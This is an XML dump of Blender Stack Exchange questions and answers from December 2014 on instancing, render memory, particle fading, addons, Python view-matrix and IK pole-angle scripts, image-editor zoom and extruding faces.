  <row Id="19739" PostTypeId="2" ParentId="19736" CreationDate="2014-12-09T14:24:13.863" Score="15" Body="&lt;h1&gt;Instancing&lt;/h1&gt;&#xA;&lt;p&gt;Use instanced geometry (and objects) - instanced duplicates won't consume memory.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; will link the mesh data and save memory (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; will not). You can have different materials applied to objects with the same mesh (link the material to object not to mesh)&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use Dupliverts/Duplifaces or Group Instances - this links whole objects (groups). This will save the most memory.&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use linked object (groups) from another .blend (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;O&lt;/kbd&gt;) multiple times - same memory savings as previous.&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Multiple Renderlayers&lt;/h1&gt;&#xA;&lt;p&gt;Divide your scene objects into multiple render layers and combine them into a single image in the compositor. This way you can defer the memory load across multiple rendering sessions.&lt;/p&gt;&#xA;&lt;h1&gt;Texture optimization&lt;/h1&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Blender 2.78&lt;/strong&gt; and up: Bindless Textures are now supported on GPU, which means only limit is now VRAM and a &lt;a href=&quot;http://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html#compute-capabilities&quot; rel=&quot;nofollow noreferrer&quot;&gt;CUDA limit of 256 textures&lt;/a&gt;. Cycles now has support for &lt;strong&gt;single-channel textures&lt;/strong&gt; - therefore no need to pack textures.&lt;/p&gt;&#xA;&lt;p&gt;For older Blender versions: pack your black &amp;amp; white textures (masks, influences, specular maps, etc.) into channels of color textures (1 color texture with alpha - tga/png - can store 4 BW textures or 1 RGB and a mask). This can save the GPU memory in texture heavy scenes significantly. Old Cycles does not use single-channel for BW.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-10-30T11:01:47.753" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19740" PostTypeId="1" CreationDate="2014-12-09T15:27:41.377" Score="0" ViewCount="5154" Body="&lt;p&gt;When I use 2.67 everything is ok but when I try to find extra meshes they are not available even though I selected them in user preferences?&lt;/p&gt;&#xA;" OwnerUserId="8420" LastEditorUserId="2617" LastEditDate="2014-12-09T15:34:04.430" LastActivityDate="2014-12-09T19:21:12.663" Title="addon &quot;mesh extras&quot; not available in 2.7" Tags="&lt;add-on&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19741" PostTypeId="2" ParentId="19732" CreationDate="2014-12-09T15:37:38.840" Score="2" Body="&lt;p&gt;For cycles you can fade out particles by using the particle age and lifetime to control the mix of transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfpbC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By dividing the age by the lifetime you get a value that goes from 1.0 to 0.0 over the lifetime of the particle, then connect that to a ColorRamp and you can clearly control what part of the lifetime the particle fades out.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-09T15:37:38.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19742" PostTypeId="2" ParentId="19740" CreationDate="2014-12-09T15:50:57.460" Score="0" Body="&lt;p&gt;Go into user preferences, find the &lt;code&gt;Addon&lt;/code&gt; tab, find the addon, enable the addon, then click &lt;code&gt;Save User Settings&lt;/code&gt;. You may not have clicked this at first. I know this is not a bug because it worked on my machine just a few days ago.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2014-12-09T19:21:12.663" LastActivityDate="2014-12-09T19:21:12.663" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19743" PostTypeId="1" CreationDate="2014-12-09T15:56:24.140" Score="1" ViewCount="200" Body="&lt;p&gt;I am trying to use the Blender cycles standalone plugin with the xna app to render scene. But I am stuck as I don't know the structure of the camera matrix. In xna view matrix structure is &lt;a href=&quot;http://tinyurl.com/mu5px6e&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; . Can somebody explain the same for  Blender? &lt;/p&gt;&#xA;" OwnerUserId="8393" LastEditorUserId="2617" LastEditDate="2014-12-09T22:15:56.410" LastActivityDate="2014-12-09T22:15:56.410" Title="Blender View Matrix structure" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-09T22:16:44.443" ContentLicense="CC BY-SA 3.0" />
  <row Id="19744" PostTypeId="1" AcceptedAnswerId="19747" CreationDate="2014-12-09T16:04:16.027" Score="10" ViewCount="3669" Body="&lt;p&gt;How can I get the active region (i. e. the region the mouse pointer is over and keystrokes are sent to) with the Python API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background:&#xA;I want to manipulate the view_matrix of the region the mouse pointer is over. In the &quot;Scripting&quot; screen I can get the matrix with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.window_managers[0].windows[0].screen.areas[2].spaces[0].region_3d.view_matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.window_managers[0].windows[0].screen.areas[2].spaces[0].region_quadviews[x].view_matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if the SpaceView3D is in quad view mode. bpy.context does not help: My script runs in a timer started from the text editor, and its context is always &quot;Scripting&quot; therefore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the active region seemed to be a simple, common task to me, but I am stuck here. May be I am looking in the documentation's wrong area ...&lt;/p&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2014-12-11T17:31:45.933" Title="Getting the active region" Tags="&lt;python&gt;&lt;scripting&gt;&lt;shortcut&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19745" PostTypeId="1" AcceptedAnswerId="28384" CreationDate="2014-12-09T16:08:11.610" Score="5" ViewCount="3356" Body="&lt;p&gt;I'm trying to create a cycles material to make a particle flare out when it dies in a collision with another particle using Blender 2.72a.&lt;/p&gt;&#xA;I've managed to get particles to attack and kill other particles using Boid physics, but getting the dead particles to do anything besides disappear or sit there is proving to be a prickly problem.&lt;/p&gt;&#xA;I'm spit-balling several approaches.  My current attempt is to drive emission strength and transparency based on how untimely a particles death is.  A particle that dies in a collision will have a velocity of zero and an age less than it's lifetime.  However, since dead particles report 0 for their age, you can't use that to determine if a particle just died unnaturally, or if it expired a hundred frames ago.&#xA;I can get around this if I can retrieve the current frame number for the scene and I've even got the code snippet:&#xA;bpy.data.scenes['CYCLES'].frame_current&#xA;I saved it as a script and referenced it in a Script Node that I was able to add to my particle seed, but I can't access the retrieved value. &lt;/p&gt;&#xA;I was thinking of modifying the scriptlet to populate a global variable or attribute with the frame number and then access it with the Attribute node.  &lt;/p&gt;&#xA;So how can I store the current frame number in a way accessible to the material editor?&#xA;I've included a link to &lt;a href=&quot;https://www.dropbox.com/s/0u71ad6g5wdpyuj/PARTICLE_DEATH_ATTEMPT9.blend?dl=0&quot;&gt;my blend file&lt;/a&gt;.  The correct answer doesn't have to implement my code.  If you've got an idea that has nothing to do with python, I still want to hear it.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2015-04-12T01:39:26.613" Title="Trying to retrieve current frame number for use in Cycles particle age material" Tags="&lt;python&gt;&lt;particles&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19747" PostTypeId="2" ParentId="19744" CreationDate="2014-12-09T18:05:13.763" Score="11" Body="&lt;p&gt;&lt;code&gt;bpy.context.space_data&lt;/code&gt; is the current space, if you need a certain one, iterate over all areas in the current screen and test for the &lt;code&gt;.type&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        area.spaces.active.region_3d.view_matrix&#xA;        # you may want to break here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To figure out which region / quadview the mouse is over in a modal operator, compare the mouse coordinates with the region rectangle:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;def get_view_orientation(space, view):&#xA;&#xA;    if view.view_perspective == 'CAMERA':&#xA;        if space.camera.type == 'CAMERA':&#xA;            view_orientation = &quot;Camera &quot; + space.camera.data.type.capitalize()&#xA;        else:&#xA;            view_orientation = &quot;Object as Camera&quot;&#xA;&#xA;    else:&#xA;        r = lambda x: round(x, 2)&#xA;        view_rot = view.view_matrix.to_euler()&#xA;&#xA;        orientation_dict = {(0.0, 0.0, 0.0) : 'TOP',&#xA;                            (r(math.pi), 0.0, 0.0) : 'BOTTOM',&#xA;                            (r(-math.pi/2), 0.0, 0.0) : 'FRONT',&#xA;                            (r(math.pi/2), 0.0, r(-math.pi)) : 'BACK',&#xA;                            (r(-math.pi/2), r(math.pi/2), 0.0) : 'LEFT',&#xA;                            (r(-math.pi/2), r(-math.pi/2), 0.0) : 'RIGHT'}&#xA;&#xA;        view_orientation =  orientation_dict.get(tuple(map(r, view_rot)), 'USER').capitalize()&#xA;        view_orientation += &quot; &quot; + view.view_perspective.capitalize()&#xA;&#xA;    if space.local_view is not None:&#xA;        view_orientation += &quot; (Local)&quot;&#xA;&#xA;    return view_orientation&#xA;&#xA;&#xA;def get_quadview_index(context, x, y):&#xA;    for area in context.screen.areas:&#xA;        if area.type != 'VIEW_3D':&#xA;            continue&#xA;        is_quadview = len(area.spaces.active.region_quadviews) == 0&#xA;        i = -1&#xA;        for region in area.regions:&#xA;            if region.type == 'WINDOW':&#xA;                i += 1&#xA;                if (x &amp;gt;= region.x and&#xA;                    y &amp;gt;= region.y and&#xA;                    x &amp;lt; region.width + region.x and&#xA;                    y &amp;lt; region.height + region.y):&#xA;&#xA;                    return (area.spaces.active, None if is_quadview else i)&#xA;    return (None, None)&#xA;&#xA;class ModalTimerOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Operator which runs its self from a timer&quot;&quot;&quot;&#xA;    bl_idname = &quot;wm.modal_timer_operator&quot;&#xA;    bl_label = &quot;Modal Timer Operator&quot;&#xA;&#xA;    _timer = None&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            return self.cancel(context)&#xA;&#xA;        if event.type == 'TIMER':&#xA;            space, i = get_quadview_index(context, event.mouse_x, event.mouse_y)&#xA;            if space is not None:&#xA;                if i is None:&#xA;                    view = space.region_3d&#xA;                else:&#xA;                    view = space.region_quadviews[i]&#xA;                print(get_view_orientation(space, view))&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def execute(self, context):&#xA;        wm = context.window_manager&#xA;        self._timer = wm.event_timer_add(0.5, context.window)&#xA;        wm.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def cancel(self, context):&#xA;        wm = context.window_manager&#xA;        wm.event_timer_remove(self._timer)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalTimerOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalTimerOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.wm.modal_timer_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-12-11T17:31:45.933" LastActivityDate="2014-12-11T17:31:45.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19748" PostTypeId="2" ParentId="19740" CreationDate="2014-12-09T18:15:53.277" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;File &gt; User Preferences &gt; Addons&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Search for &lt;code&gt;extra&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure &lt;em&gt;Supported Level&lt;/em&gt; is set to &lt;strong&gt;Community&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Categories&lt;/em&gt; to &lt;strong&gt;All&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tick the box at the very right&lt;/li&gt;&#xA;&lt;li&gt;Optionally &lt;em&gt;Save User Settings&lt;/em&gt; to enable it by default&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;3D View &gt; Add &gt; Mesh&lt;/em&gt;, the icon-less entries are from the Extra Objects addon.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MEjDb.png&quot; alt=&quot;Add Mesh: Extra Objects&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-12-09T18:15:53.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19749" PostTypeId="2" ParentId="19676" CreationDate="2014-12-09T18:30:28.537" Score="1" Body="&lt;p&gt;Select your one of your arm-bones while in pose mode, and press R. You can then rotate that bone using the mouse. The bone rotates according to your screen, so go to front/back(numpad 1/ctrl + numpad 1) view to get straight rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To go from the images you posted to what I posted, you need to rotate the upper arm and the lower arm =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image I posted:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/v3tTs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2014-12-09T18:30:28.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19750" PostTypeId="1" CreationDate="2014-12-09T19:48:38.823" Score="2" ViewCount="5613" Body="&lt;p&gt;I will be teaching a Blender class in January and I have downloaded the latest version of Blender.  I am going through the &lt;strong&gt;BlenderBasics_4thEdition2011.pdf&lt;/strong&gt; that I've chosen to use as a text.  I'm creating a text file that is a record of my progress through that book.  Now I've gotten to the camera setup procedure and I can not see a representation of a camera in my scene, so I expanded the transform menu, exposing an auxiliary panel.  Atop this panel is a Scene Tree diagram that shows all of the elements in the scene.  I found that you could right-click on the Camera listed there and choose the Select option that appears atop the choices.  Then with the Camera selected first, I could hold down &lt;kbd&gt;Shift&lt;/kbd&gt; and &lt;kbd&gt;RMB&lt;/kbd&gt; on the Empty.  The text says that both objects will be highlighted - though I can't verify that because I cannot see the camera.  I did press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; to add a &quot;Track To Constraint&quot; but the next thing the book says to do is move the camera and I can't see it to move it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around the problem I started a new file and was able to move the camera that came with the standard scene.  Is there a way to show the Camera Icon that I am not aware of?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;, Thanks very much! &lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="2617" LastEditDate="2014-12-10T20:33:20.550" LastActivityDate="2019-10-06T21:58:19.570" Title="A camera representation is missing from my scene. How can I see it?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19751" PostTypeId="1" CreationDate="2014-12-09T19:59:40.820" Score="1" ViewCount="4494" Body="&lt;p&gt;I have chosen the book BlenderBasics_4thEdition2011.pdf to use in teaching my first 3D Animation Class using Blender.  In it, on page 38, there is a lesson that uses a background image as a guide to create a 3D logo.  The text says to scroll down on the Transfom Panel to find the &quot;Background Images&quot; panel.  I cannot find that panel.  I have downloaded the latest Blender 2.72 release.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this please?  I have done a couple Google searches and found images of that panel but I can't seem to find it on the Transform panel.  What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="5705" LastEditDate="2014-12-09T20:29:04.313" LastActivityDate="2014-12-09T20:42:54.050" Title="Using a background image to model in Blender" Tags="&lt;modeling&gt;&lt;3d-view&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-12-10T01:22:45.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="19752" PostTypeId="2" ParentId="19751" CreationDate="2014-12-09T20:30:44.963" Score="4" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNEOK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; to open the properties panel on the right side of the 3D view (if it is not already open)  Then scroll down till you see backround images and click &lt;em&gt;add image&lt;/em&gt;.  To see the image you must be in orthographic mode and a side view, press&lt;kbd&gt;numpad 5&lt;/kbd&gt; to toggle orthographic/perspective mode and &lt;kbd&gt;numpad 1/3/7&lt;/kbd&gt; to go into a side view.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="5705" LastEditDate="2014-12-09T20:42:54.050" LastActivityDate="2014-12-09T20:42:54.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19754" PostTypeId="1" AcceptedAnswerId="19755" CreationDate="2014-12-09T21:02:43.410" Score="17" ViewCount="13425" Body="&lt;p&gt;How to calculate the exact pole angle so when I add Pole bone the IK chain does not move?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vVvXp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-07-30T20:29:36.893" Title="How to Set/Calculate pole angle of IK constraint so the chain does not move?" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="19755" PostTypeId="2" ParentId="19754" CreationDate="2014-12-09T21:04:17.787" Score="21" Body="&lt;p&gt;This is what the &lt;code&gt;pole angle&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lKN6o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a signed angle between the Base_Bone's X axis and the projected Pole_axis onto Base_Bone's XZ plane. The direction of projection is IK_axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fill in the bone names, it will print the appropriate pole angle into System console. Then you can set the IK constraint with that Pole bone and angle and the IK chain won't move:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import *&#xA;&#xA;def signed_angle(vector_u, vector_v, normal):&#xA;    # Normal specifies orientation&#xA;    angle = vector_u.angle(vector_v)&#xA;    if vector_u.cross(vector_v).angle(normal) &amp;lt; 1:&#xA;        angle = -angle&#xA;    return angle&#xA;&#xA;def get_pole_angle(base_bone, ik_bone, pole_location):&#xA;    pole_normal = (ik_bone.tail - base_bone.head).cross(pole_location - base_bone.head)&#xA;    projected_pole_axis = pole_normal.cross(base_bone.tail - base_bone.head)&#xA;    return signed_angle(base_bone.x_axis, projected_pole_axis, base_bone.tail - base_bone.head)&#xA;&#xA;base_bone = bpy.context.active_object.pose.bones[&quot;BASE_BONE_NAME&quot;]&#xA;ik_bone = bpy.context.active_object.pose.bones[&quot;IK_BONE_NAME&quot;]&#xA;pole_bone = bpy.context.active_object.pose.bones[&quot;POLE_BONE_NAME&quot;]&#xA;&#xA;pole_angle_in_radians = get_pole_angle(base_bone,&#xA;                                       ik_bone,&#xA;                                       pole_bone.matrix.translation)&#xA;pole_angle_in_deg = round(180*pole_angle_in_radians/3.141592, 3)&#xA;print(pole_angle_in_deg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-25T14:28:54.980" LastActivityDate="2014-12-25T14:28:54.980" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19756" PostTypeId="1" AcceptedAnswerId="19758" CreationDate="2014-12-09T21:14:13.367" Score="9" ViewCount="2412" Body="&lt;p&gt;In the UV/Image editor, and consequently when viewing the render results, the zoom has pretty big increments. If I render at 1920x1080 or larger, I can get the image to fit almost perfectly to the viewport. However, if I render at 1280x720 (which I do occasionally), I either get a ~2.5cm space between the edge of the image and the edge of the viewport or the image gets cropped by ~0.5cm. Is there a way to get smaller increments?&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2014-12-09T21:49:08.583" LastActivityDate="2014-12-10T15:51:02.573" Title="Can I get a more fine grained zoom in the UV/Image editor?" Tags="&lt;interface&gt;&lt;image&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19757" PostTypeId="2" ParentId="19756" CreationDate="2014-12-09T21:20:48.110" Score="14" Body="&lt;p&gt;You can use &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; + &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/OASpJ.png&quot; alt=&quot;MMB&quot; title=&quot;Middle Mouse Button&quot;&gt; MMB&lt;/kbd&gt; to zoom in and out smoothly. Keep in mind you are meant to press the MMB and drag up or down to zoom in and out, respectively. This works in all editors which support zooming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to keep in mind is that, for instance in the Movie Clip Editor, when set to Graph, there are two zoom axis - a vertical and a horizontal one - which can be controlled separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also another tool called &lt;em&gt;Zoom to Border&lt;/em&gt;, which can be accessed through &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;. This let's you use something that looks like the Border/Box select tool, but instead of selecting, it zooms in to the specified area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in the Node Editor (more specifically in the Compositor), any other zoom method will zoom into/out of the nodes themselves. To zoom in in the background image (when a Viewer node is connected) you can use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;V&lt;/kbd&gt; and &lt;kbd&gt;V&lt;/kbd&gt; to zoom out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding to gandalf3's answer, you can press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Numpad Enter&lt;/kbd&gt;, when looking through a camera in the 3D View, to make it match the zoom level 1:1.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-12-10T15:51:02.573" LastActivityDate="2014-12-10T15:51:02.573" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19758" PostTypeId="2" ParentId="19756" CreationDate="2014-12-09T21:21:14.447" Score="10" Body="&lt;p&gt;You can press &lt;kbd&gt;F&lt;/kbd&gt; to fit the image to the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also press the &lt;kbd&gt;Numpad&lt;/kbd&gt; keys to jump to various zoom levels, e.g. &lt;kbd&gt;Numpad 1&lt;/kbd&gt; will zoom to &lt;code&gt;1:1&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see more options in &lt;em&gt;Header &gt; View&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yydBg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-12-09T21:36:13.760" LastActivityDate="2014-12-09T21:36:13.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19759" PostTypeId="1" CreationDate="2014-12-09T23:17:49.420" Score="4" ViewCount="591" Body="&lt;p&gt;I followed direction in the &lt;a href=&quot;https://i.stack.imgur.com/fbbH0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderBasics_4thEdition2011.pdf&lt;/a&gt; book. In the Logo Design exercise on pages 38 &amp;amp; 39 the process of creating shapes and giving them faces is described.  I did that successfully.  Then it says to extrude the faced shapes.  When I tried that all that resulted was another set of filled shapes that are not connected at the sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please tell me how to do that so that the result is a 3D object instead of two 2D shapes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the quick replies.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I as I described previously I attempted to make faces on the shapes I created.  The book described using a Plane to modify vertices and extrude them to make a closed shape.  I did that proceeding along a background image.  When I got back to the beginning, the shape would not close by holding down the Shift Key and pressing &quot;F&quot;.  I selected the last two vertices and then used the Merge command to close the shape.  Is that wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I then tried to mesh the complex shapes individually by hitting Ctrl-&quot;F&quot; that operation did not work, so I worked around the shapes picking 4 vertices and then hitting &quot;F&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I had good faced complex shapes.  Can you tell me what I did wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried pressing A twice to select all, then W &gt; bridge and that did not work, so I selected individual edge loops on related close faced shapes and then bridging those edge loops.  One set of shapes worked but the other two failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbbH0.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That looks like the shape was not closed.  Did I close the shape incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were trying to prepare to teach Blender, what text resource would you choose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to changing the surface normals, I tried that and everything looked good but still extruding did not work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Referencing the third answer:  Turn Textured solid OFF, and see if there are any faces. [ Press N to open up the side tab ] and the image provided, what I see in my menu is different.  Here below is a screen shot of Blender. You can see that I am tracing the Calhoun Community College Logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Oiwr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="8332" LastEditDate="2014-12-10T11:22:51.880" LastActivityDate="2015-01-10T03:23:54.203" Title="Extruding faces" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19760" PostTypeId="2" ParentId="19759" CreationDate="2014-12-09T23:25:31.203" Score="1" Body="&lt;p&gt;There are a few ways :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; in edit mode to Re-Calculate the normals.&lt;/li&gt;&#xA;&lt;li&gt;Make sure you extruded the correct way (as in the following pictures).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn Textured solid OFF, and see if there are any faces. [ Press &lt;kbd&gt;N&lt;/kbd&gt; to open up the side tab ]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It looks like you're in wireframe view. Press &lt;kbd&gt;Z&lt;/kbd&gt; to switch to solid view.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y7ziK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBYIQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/70FQP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="1829" LastEditDate="2014-12-09T23:46:34.887" LastActivityDate="2014-12-09T23:46:34.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
